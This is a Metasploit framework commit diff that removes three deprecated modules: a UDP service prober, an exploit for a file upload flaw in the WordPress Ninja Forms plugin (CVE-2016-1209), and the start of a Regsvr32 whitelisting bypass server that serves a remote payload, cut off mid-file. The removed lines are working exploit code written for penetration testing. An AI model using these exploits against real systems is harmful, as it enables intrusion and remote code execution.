Remove old deprecated modules
Jon Hart
parent
9f144ce8d4
commit
a2c5cc0ffb
|
|
@ -1,535 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: https://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'openssl'
|
|
||||||
|
|
||||||
class MetasploitModule < Msf::Auxiliary
|
|
||||||
include Msf::Auxiliary::Report
|
|
||||||
include Msf::Auxiliary::Scanner
|
|
||||||
include Msf::Module::Deprecated
|
|
||||||
|
|
||||||
deprecated(Date.new(2016, 11, 23), 'auxiliary/scanner/discovery/udp_sweep')
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'UDP Service Prober',
|
|
||||||
'Description' => 'Detect common UDP services using sequential probes',
|
|
||||||
'Author' => 'hdm',
|
|
||||||
'License' => MSF_LICENSE
|
|
||||||
)
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::CHOST,
|
|
||||||
])
|
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true])
|
|
||||||
])
|
|
||||||
|
|
||||||
# Intialize the probes array
|
|
||||||
@probes = []
|
|
||||||
|
|
||||||
# Add the UDP probe method names
|
|
||||||
@probes << 'probe_pkt_dns'
|
|
||||||
@probes << 'probe_pkt_netbios'
|
|
||||||
@probes << 'probe_pkt_portmap'
|
|
||||||
@probes << 'probe_pkt_mssql'
|
|
||||||
@probes << 'probe_pkt_ntp'
|
|
||||||
@probes << 'probe_pkt_snmp1'
|
|
||||||
@probes << 'probe_pkt_snmp2'
|
|
||||||
@probes << 'probe_pkt_sentinel'
|
|
||||||
@probes << 'probe_pkt_db2disco'
|
|
||||||
@probes << 'probe_pkt_citrix'
|
|
||||||
@probes << 'probe_pkt_pca_st'
|
|
||||||
@probes << 'probe_pkt_pca_nq'
|
|
||||||
@probes << 'probe_chargen'
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def setup
|
|
||||||
super
|
|
||||||
|
|
||||||
if datastore['RANDOMIZE_PORTS']
|
|
||||||
@probes = @probes.sort_by { rand }
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Fingerprint a single host
|
|
||||||
def run_host(ip)
|
|
||||||
@results = {}
|
|
||||||
@thost = ip
|
|
||||||
|
|
||||||
begin
|
|
||||||
udp_sock = nil
|
|
||||||
|
|
||||||
@probes.each do |probe|
|
|
||||||
|
|
||||||
# Send each probe to each host
|
|
||||||
|
|
||||||
begin
|
|
||||||
data, port = self.send(probe, ip)
|
|
||||||
@tport = port
|
|
||||||
|
|
||||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
|
||||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
|
||||||
udp_sock = Rex::Socket::Udp.create( {
|
|
||||||
'LocalHost' => datastore['CHOST'] || nil,
|
|
||||||
'PeerHost' => ip, 'PeerPort' => port,
|
|
||||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
|
||||||
})
|
|
||||||
|
|
||||||
udp_sock.put(data)
|
|
||||||
|
|
||||||
r = udp_sock.recvfrom(65535, 0.1) and r[1]
|
|
||||||
parse_reply(r) if r
|
|
||||||
|
|
||||||
rescue ::Interrupt
|
|
||||||
raise $!
|
|
||||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
|
|
||||||
nil
|
|
||||||
ensure
|
|
||||||
udp_sock.close if udp_sock
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
rescue ::Interrupt
|
|
||||||
raise $!
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("Unknown error: #{@thost}:#{@tport} #{e.class} #{e} #{e.backtrace}")
|
|
||||||
end
|
|
||||||
|
|
||||||
@results.each_key do |k|
|
|
||||||
next if not @results[k].respond_to?('keys')
|
|
||||||
data = @results[k]
|
|
||||||
|
|
||||||
next unless inside_workspace_boundary?(data[:host])
|
|
||||||
|
|
||||||
conf = {
|
|
||||||
:host => data[:host],
|
|
||||||
:port => data[:port],
|
|
||||||
:proto => 'udp',
|
|
||||||
:name => data[:app],
|
|
||||||
:info => data[:info]
|
|
||||||
}
|
|
||||||
|
|
||||||
if data[:hname]
|
|
||||||
conf[:host_name] = data[:hname].downcase
|
|
||||||
end
|
|
||||||
|
|
||||||
if data[:mac]
|
|
||||||
conf[:mac] = data[:mac].downcase
|
|
||||||
end
|
|
||||||
|
|
||||||
report_service(conf)
|
|
||||||
print_good("Discovered #{data[:app]} on #{k} (#{data[:info]})")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# The response parsers
|
|
||||||
#
|
|
||||||
def parse_reply(pkt)
|
|
||||||
|
|
||||||
# Ignore "empty" packets
|
|
||||||
return if not pkt[1]
|
|
||||||
|
|
||||||
if(pkt[1] =~ /^::ffff:/)
|
|
||||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
|
||||||
end
|
|
||||||
|
|
||||||
app = 'unknown'
|
|
||||||
inf = ''
|
|
||||||
maddr = nil
|
|
||||||
hname = nil
|
|
||||||
|
|
||||||
hkey = "#{pkt[1]}:#{pkt[2]}"
|
|
||||||
|
|
||||||
# Work with protocols that return different data in different packets
|
|
||||||
# These are reported at the end of the scanning loop to build state
|
|
||||||
case pkt[2]
|
|
||||||
when 5632
|
|
||||||
|
|
||||||
@results[hkey] ||= {}
|
|
||||||
data = @results[hkey]
|
|
||||||
data[:app] = "pcAnywhere_stat"
|
|
||||||
data[:port] = pkt[2]
|
|
||||||
data[:host] = pkt[1]
|
|
||||||
|
|
||||||
case pkt[0]
|
|
||||||
|
|
||||||
when /^NR(........................)(........)/
|
|
||||||
name = $1.dup
|
|
||||||
caps = $2.dup
|
|
||||||
name = name.gsub(/_+$/, '').gsub("\x00", '').strip
|
|
||||||
caps = caps.gsub(/_+$/, '').gsub("\x00", '').strip
|
|
||||||
data[:name] = name
|
|
||||||
data[:caps] = caps
|
|
||||||
|
|
||||||
when /^ST(.+)/
|
|
||||||
buff = $1.dup
|
|
||||||
stat = 'Unknown'
|
|
||||||
|
|
||||||
if buff[2,1].unpack("C")[0] == 67
|
|
||||||
stat = "Available"
|
|
||||||
end
|
|
||||||
|
|
||||||
if buff[2,1].unpack("C")[0] == 11
|
|
||||||
stat = "Busy"
|
|
||||||
end
|
|
||||||
|
|
||||||
data[:stat] = stat
|
|
||||||
end
|
|
||||||
|
|
||||||
if data[:name]
|
|
||||||
inf << "Name: #{data[:name]} "
|
|
||||||
end
|
|
||||||
|
|
||||||
if data[:stat]
|
|
||||||
inf << "- #{data[:stat]} "
|
|
||||||
end
|
|
||||||
|
|
||||||
if data[:caps]
|
|
||||||
inf << "( #{data[:caps]} ) "
|
|
||||||
end
|
|
||||||
data[:info] = inf
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Ignore duplicates for the protocols below
|
|
||||||
return if @results[hkey]
|
|
||||||
|
|
||||||
case pkt[2]
|
|
||||||
|
|
||||||
when 19
|
|
||||||
app = 'chargen'
|
|
||||||
return unless chargen_parse(pkt[0])
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
when 53
|
|
||||||
app = 'DNS'
|
|
||||||
ver = nil
|
|
||||||
|
|
||||||
if (not ver and pkt[0] =~ /([6789]\.[\w\.\-_\:\(\)\[\]\/\=\+\|\{\}]+)/i)
|
|
||||||
ver = 'BIND ' + $1
|
|
||||||
end
|
|
||||||
|
|
||||||
ver = 'Microsoft DNS' if (not ver and pkt[0][2,4] == "\x81\x04\x00\x01")
|
|
||||||
ver = 'TinyDNS' if (not ver and pkt[0][2,4] == "\x81\x81\x00\x01")
|
|
||||||
|
|
||||||
ver = pkt[0].unpack('H*')[0] if not ver
|
|
||||||
inf = ver if ver
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
when 137
|
|
||||||
app = 'NetBIOS'
|
|
||||||
|
|
||||||
data = pkt[0]
|
|
||||||
|
|
||||||
head = data.slice!(0,12)
|
|
||||||
|
|
||||||
xid, flags, quests, answers, auths, adds = head.unpack('n6')
|
|
||||||
return if quests != 0
|
|
||||||
return if answers == 0
|
|
||||||
|
|
||||||
qname = data.slice!(0,34)
|
|
||||||
rtype,rclass,rttl,rlen = data.slice!(0,10).unpack('nnNn')
|
|
||||||
buff = data.slice!(0,rlen)
|
|
||||||
|
|
||||||
names = []
|
|
||||||
|
|
||||||
case rtype
|
|
||||||
when 0x21
|
|
||||||
rcnt = buff.slice!(0,1).unpack("C")[0]
|
|
||||||
1.upto(rcnt) do
|
|
||||||
tname = buff.slice!(0,15).gsub(/\x00.*/, '').strip
|
|
||||||
ttype = buff.slice!(0,1).unpack("C")[0]
|
|
||||||
tflag = buff.slice!(0,2).unpack('n')[0]
|
|
||||||
names << [ tname, ttype, tflag ]
|
|
||||||
end
|
|
||||||
maddr = buff.slice!(0,6).unpack("C*").map{|c| "%.2x" % c }.join(":")
|
|
||||||
|
|
||||||
names.each do |name|
|
|
||||||
inf << name[0]
|
|
||||||
inf << ":<%.2x>" % name[1]
|
|
||||||
if (name[2] & 0x8000 == 0)
|
|
||||||
inf << ":U :"
|
|
||||||
else
|
|
||||||
inf << ":G :"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
inf << maddr
|
|
||||||
|
|
||||||
if(names.length > 0)
|
|
||||||
hname = names[0][0]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
when 111
|
|
||||||
app = 'Portmap'
|
|
||||||
buf = pkt[0]
|
|
||||||
inf = ""
|
|
||||||
hed = buf.slice!(0,24)
|
|
||||||
svc = []
|
|
||||||
while(buf.length >= 20)
|
|
||||||
rec = buf.slice!(0,20).unpack("N5")
|
|
||||||
svc << "#{rec[1]} v#{rec[2]} #{rec[3] == 0x06 ? "TCP" : "UDP"}(#{rec[4]})"
|
|
||||||
report_service(
|
|
||||||
:host => pkt[1],
|
|
||||||
:port => rec[4],
|
|
||||||
:proto => (rec[3] == 0x06 ? "tcp" : "udp"),
|
|
||||||
:name => "sunrpc",
|
|
||||||
:info => "#{rec[1]} v#{rec[2]}"
|
|
||||||
)
|
|
||||||
end
|
|
||||||
inf = svc.join(", ")
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
when 123
|
|
||||||
app = 'NTP'
|
|
||||||
ver = nil
|
|
||||||
ver = pkt[0].unpack('H*')[0]
|
|
||||||
ver = 'NTP v3' if (ver =~ /^1c06|^1c05/)
|
|
||||||
ver = 'NTP v4' if (ver =~ /^240304/)
|
|
||||||
ver = 'NTP v4 (unsynchronized)' if (ver =~ /^e40/)
|
|
||||||
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
|
|
||||||
inf = ver if ver
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
when 1434
|
|
||||||
app = 'MSSQL'
|
|
||||||
mssql_ping_parse(pkt[0]).each_pair { |k,v|
|
|
||||||
inf += k+'='+v+' '
|
|
||||||
}
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
when 161
|
|
||||||
app = 'SNMP'
|
|
||||||
|
|
||||||
asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil
|
|
||||||
return if not asn
|
|
||||||
|
|
||||||
snmp_error = asn.value[0].value rescue nil
|
|
||||||
snmp_comm = asn.value[1].value rescue nil
|
|
||||||
snmp_data = asn.value[2].value[3].value[0] rescue nil
|
|
||||||
snmp_oid = snmp_data.value[0].value rescue nil
|
|
||||||
snmp_info = snmp_data.value[1].value rescue nil
|
|
||||||
|
|
||||||
return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info)
|
|
||||||
snmp_info = snmp_info.to_s.gsub(/\s+/, ' ')
|
|
||||||
|
|
||||||
inf = snmp_info
|
|
||||||
com = snmp_comm
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
when 5093
|
|
||||||
app = 'Sentinel'
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
when 523
|
|
||||||
app = 'ibm-db2'
|
|
||||||
inf = db2disco_parse(pkt[0])
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
when 1604
|
|
||||||
app = 'citrix-ica'
|
|
||||||
return unless citrix_parse(pkt[0])
|
|
||||||
@results[hkey] = true
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
return unless inside_workspace_boundary?(pkt[1])
|
|
||||||
report_service(
|
|
||||||
:host => pkt[1],
|
|
||||||
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
|
|
||||||
:host_name => (hname) ? hname.downcase : nil,
|
|
||||||
:port => pkt[2],
|
|
||||||
:proto => 'udp',
|
|
||||||
:name => app,
|
|
||||||
:info => inf
|
|
||||||
)
|
|
||||||
|
|
||||||
print_good("Discovered #{app} on #{pkt[1]}:#{pkt[2]} (#{inf})")
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Parse a db2disco packet.
|
|
||||||
#
|
|
||||||
def db2disco_parse(data)
|
|
||||||
res = data.split("\x00")
|
|
||||||
"#{res[2]}_#{res[1]}"
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Validate a chargen packet.
|
|
||||||
#
|
|
||||||
def chargen_parse(data)
|
|
||||||
data =~ /ABCDEFGHIJKLMNOPQRSTUVWXYZ|0123456789/i
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Validate this is truly Citrix ICA; returns true or false.
|
|
||||||
#
|
|
||||||
def citrix_parse(data)
|
|
||||||
server_response = "\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44" # Server hello response
|
|
||||||
data =~ /^#{server_response}/
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Parse a 'ping' response and format as a hash
|
|
||||||
#
|
|
||||||
def mssql_ping_parse(data)
|
|
||||||
res = {}
|
|
||||||
var = nil
|
|
||||||
idx = data.index('ServerName')
|
|
||||||
return res if not idx
|
|
||||||
|
|
||||||
data[idx, data.length-idx].split(';').each do |d|
|
|
||||||
if (not var)
|
|
||||||
var = d
|
|
||||||
else
|
|
||||||
if (var.length > 0)
|
|
||||||
res[var] = d
|
|
||||||
var = nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
return res
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# The probe definitions
|
|
||||||
#
|
|
||||||
|
|
||||||
def probe_chargen(ip)
|
|
||||||
pkt = Rex::Text.rand_text_alpha_lower(1)
|
|
||||||
return [pkt, 19]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_dns(ip)
|
|
||||||
data = [rand(0xffff)].pack('n') +
|
|
||||||
"\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+
|
|
||||||
"\x07"+ "VERSION"+
|
|
||||||
"\x04"+ "BIND"+
|
|
||||||
"\x00\x00\x10\x00\x03"
|
|
||||||
|
|
||||||
return [data, 53]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_netbios(ip)
|
|
||||||
data =
|
|
||||||
[rand(0xffff)].pack('n')+
|
|
||||||
"\x00\x00\x00\x01\x00\x00\x00\x00"+
|
|
||||||
"\x00\x00\x20\x43\x4b\x41\x41\x41"+
|
|
||||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
|
||||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
|
||||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
|
||||||
"\x41\x41\x41\x00\x00\x21\x00\x01"
|
|
||||||
|
|
||||||
return [data, 137]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_portmap(ip)
|
|
||||||
data =
|
|
||||||
[
|
|
||||||
rand(0xffffffff), # XID
|
|
||||||
0, # Type
|
|
||||||
2, # RPC Version
|
|
||||||
100000, # Program ID
|
|
||||||
2, # Program Version
|
|
||||||
4, # Procedure
|
|
||||||
0, 0, # Credentials
|
|
||||||
0, 0, # Verifier
|
|
||||||
].pack('N*')
|
|
||||||
|
|
||||||
return [data, 111]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_mssql(ip)
|
|
||||||
return ["\x02", 1434]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_ntp(ip)
|
|
||||||
data =
|
|
||||||
"\xe3\x00\x04\xfa\x00\x01\x00\x00\x00\x01\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
|
||||||
"\x00\xc5\x4f\x23\x4b\x71\xb1\x52\xf3"
|
|
||||||
return [data, 123]
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def probe_pkt_sentinel(ip)
|
|
||||||
return ["\x7a\x00\x00\x00\x00\x00", 5093]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_snmp1(ip)
|
|
||||||
version = 1
|
|
||||||
data = OpenSSL::ASN1::Sequence([
|
|
||||||
OpenSSL::ASN1::Integer(version - 1),
|
|
||||||
OpenSSL::ASN1::OctetString("public"),
|
|
||||||
OpenSSL::ASN1::Set.new([
|
|
||||||
OpenSSL::ASN1::Integer(rand(0x80000000)),
|
|
||||||
OpenSSL::ASN1::Integer(0),
|
|
||||||
OpenSSL::ASN1::Integer(0),
|
|
||||||
OpenSSL::ASN1::Sequence([
|
|
||||||
OpenSSL::ASN1::Sequence([
|
|
||||||
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
|
|
||||||
OpenSSL::ASN1.Null(nil)
|
|
||||||
])
|
|
||||||
]),
|
|
||||||
], 0, :IMPLICIT)
|
|
||||||
]).to_der
|
|
||||||
[data, 161]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_snmp2(ip)
|
|
||||||
version = 2
|
|
||||||
data = OpenSSL::ASN1::Sequence([
|
|
||||||
OpenSSL::ASN1::Integer(version - 1),
|
|
||||||
OpenSSL::ASN1::OctetString("public"),
|
|
||||||
OpenSSL::ASN1::Set.new([
|
|
||||||
OpenSSL::ASN1::Integer(rand(0x80000000)),
|
|
||||||
OpenSSL::ASN1::Integer(0),
|
|
||||||
OpenSSL::ASN1::Integer(0),
|
|
||||||
OpenSSL::ASN1::Sequence([
|
|
||||||
OpenSSL::ASN1::Sequence([
|
|
||||||
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
|
|
||||||
OpenSSL::ASN1.Null(nil)
|
|
||||||
])
|
|
||||||
]),
|
|
||||||
], 0, :IMPLICIT)
|
|
||||||
]).to_der
|
|
||||||
[data, 161]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_db2disco(ip)
|
|
||||||
data = "DB2GETADDR\x00SQL05000\x00"
|
|
||||||
[data, 523]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_citrix(ip) # Server hello packet from citrix_published_bruteforce
|
|
||||||
data =
|
|
||||||
"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00"
|
|
||||||
return [data, 1604]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_pca_st(ip)
|
|
||||||
return ["ST", 5632]
|
|
||||||
end
|
|
||||||
|
|
||||||
def probe_pkt_pca_nq(ip)
|
|
||||||
return ["NQ", 5632]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
@ -1,177 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: https://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::FileDropper
|
|
||||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
||||||
include Msf::Module::Deprecated
|
|
||||||
|
|
||||||
deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload')
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(
|
|
||||||
info,
|
|
||||||
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
|
|
||||||
'Description' => %(
|
|
||||||
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
|
|
||||||
an unauthenticated file upload vulnerability, allowing guests
|
|
||||||
to upload arbitrary PHP code that can be executed in the context
|
|
||||||
of the web server.
|
|
||||||
),
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'James Golovich', # Discovery and disclosure
|
|
||||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
|
||||||
],
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
['CVE', '2016-1209'],
|
|
||||||
['WPVDB', '8485'],
|
|
||||||
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
|
|
||||||
],
|
|
||||||
'DisclosureDate' => 'May 04 2016',
|
|
||||||
'Platform' => 'php',
|
|
||||||
'Arch' => ARCH_PHP,
|
|
||||||
'Targets' => [['ninja-forms', {}]],
|
|
||||||
'DefaultTarget' => 0
|
|
||||||
))
|
|
||||||
|
|
||||||
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
|
|
||||||
register_options(opts, self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def print_status(msg='')
|
|
||||||
super("#{peer} - #{msg}")
|
|
||||||
end
|
|
||||||
|
|
||||||
def print_good(msg='')
|
|
||||||
super("#{peer} - #{msg}")
|
|
||||||
end
|
|
||||||
|
|
||||||
def print_error(msg='')
|
|
||||||
super("#{peer} - #{msg}")
|
|
||||||
end
|
|
||||||
|
|
||||||
def check
|
|
||||||
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
|
|
||||||
end
|
|
||||||
|
|
||||||
def enable_v3_functionality
|
|
||||||
print_status 'Enabling vulnerable V3 functionality...'
|
|
||||||
res = send_request_cgi(
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => target_uri.path,
|
|
||||||
'vars_get' => { 'nf-switcher' => 'upgrade' }
|
|
||||||
)
|
|
||||||
|
|
||||||
unless res && res.code == 200
|
|
||||||
if res
|
|
||||||
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
|
|
||||||
else
|
|
||||||
fail_with(Failure::Unreachable, 'Connection timed out.')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
vprint_good 'Enabled V3 functionality'
|
|
||||||
end
|
|
||||||
|
|
||||||
def disable_v3_functionality
|
|
||||||
print_status 'Disabling vulnerable V3 functionality...'
|
|
||||||
res = send_request_cgi(
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => target_uri.path,
|
|
||||||
'vars_get' => { 'nf-switcher' => 'rollback' }
|
|
||||||
)
|
|
||||||
|
|
||||||
if res && res.code == 200
|
|
||||||
vprint_good 'Disabled V3 functionality'
|
|
||||||
elsif !res
|
|
||||||
print_error('Connection timed out while disabling V3 functionality')
|
|
||||||
else
|
|
||||||
print_error 'Failed to disable the vulnerable V3 functionality'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_mime_message(payload_name, nonce)
|
|
||||||
data = Rex::MIME::Message.new
|
|
||||||
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
|
|
||||||
data.add_part(nonce, nil, nil, 'form-data; name="security"')
|
|
||||||
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
|
|
||||||
data
|
|
||||||
end
|
|
||||||
|
|
||||||
def fetch_ninja_form_nonce
|
|
||||||
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
|
|
||||||
res = send_request_cgi(
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => uri
|
|
||||||
)
|
|
||||||
|
|
||||||
unless res && res.code == 200
|
|
||||||
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
|
|
||||||
end
|
|
||||||
|
|
||||||
form_wpnonce = res.get_hidden_inputs.first
|
|
||||||
form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
|
|
||||||
|
|
||||||
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
|
|
||||||
|
|
||||||
unless nonce
|
|
||||||
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
|
|
||||||
end
|
|
||||||
|
|
||||||
nonce
|
|
||||||
end
|
|
||||||
|
|
||||||
def upload_payload(data)
|
|
||||||
res = send_request_cgi(
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => wordpress_url_admin_ajax,
|
|
||||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
||||||
'data' => data.to_s
|
|
||||||
)
|
|
||||||
|
|
||||||
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
|
||||||
vprint_error("Server responded with status code #{res.code}") if res.code != 200
|
|
||||||
end
|
|
||||||
|
|
||||||
def execute_payload(payload_name, payload_url)
|
|
||||||
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
|
|
||||||
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
|
|
||||||
|
|
||||||
if !res.nil? && res.code == 404
|
|
||||||
print_error("Failed to upload the payload")
|
|
||||||
else
|
|
||||||
print_good("Executed payload")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
# Vulnerable code is only available in the version 3 preview mode, which can be
|
|
||||||
# enabled by unauthenticated users due to lack of user level validation.
|
|
||||||
enable_v3_functionality
|
|
||||||
|
|
||||||
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
|
|
||||||
# page that contains a form generated by Ninja Forms.
|
|
||||||
nonce = fetch_ninja_form_nonce
|
|
||||||
|
|
||||||
print_status("Preparing payload...")
|
|
||||||
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
|
|
||||||
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
|
|
||||||
data = generate_mime_message(payload_name, nonce)
|
|
||||||
|
|
||||||
print_status("Uploading payload to #{payload_url}")
|
|
||||||
upload_payload(data)
|
|
||||||
|
|
||||||
print_status("Executing the payload...")
|
|
||||||
execute_payload(payload_name, payload_url)
|
|
||||||
|
|
||||||
# Once the payload has been executed, we can disable the preview functionality again.
|
|
||||||
disable_v3_functionality
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
@ -1,98 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: https://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Remote
|
|
||||||
Rank = ManualRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Powershell
|
|
||||||
include Msf::Exploit::Remote::HttpServer
|
|
||||||
include Msf::Module::Deprecated
|
|
||||||
|
|
||||||
deprecated(Date.new(2018, 3, 5), 'exploits/multi/script/web_delivery.rb')
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',
|
|
||||||
'Description' => %q(
|
|
||||||
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
|
|
||||||
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32
|
|
||||||
command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
|
|
||||||
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
|
|
||||||
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
|
|
||||||
),
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
|
|
||||||
'Trenton Ivey', # MSF Module (kn0)
|
|
||||||
],
|
|
||||||
'DefaultOptions' =>
|
|
||||||
{
|
|
||||||
'Payload' => 'windows/meterpreter/reverse_tcp'
|
|
||||||
},
|
|
||||||
'Targets' => [['PSH', {}]],
|
|
||||||
'Platform' => %w(win),
|
|
||||||
'Arch' => [ARCH_X86, ARCH_X64],
|
|
||||||
'DefaultTarget' => 0,
|
|
||||||
'DisclosureDate' => 'Apr 19 2016',
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
|
|
||||||
]
|
|
||||||
))
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def primer
|
|
||||||
print_status('Run the following command on the target machine:')
|
|
||||||
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def on_request_uri(cli, _request)
|
|
||||||
# If the resource request ends with '.sct', serve the .sct file
|
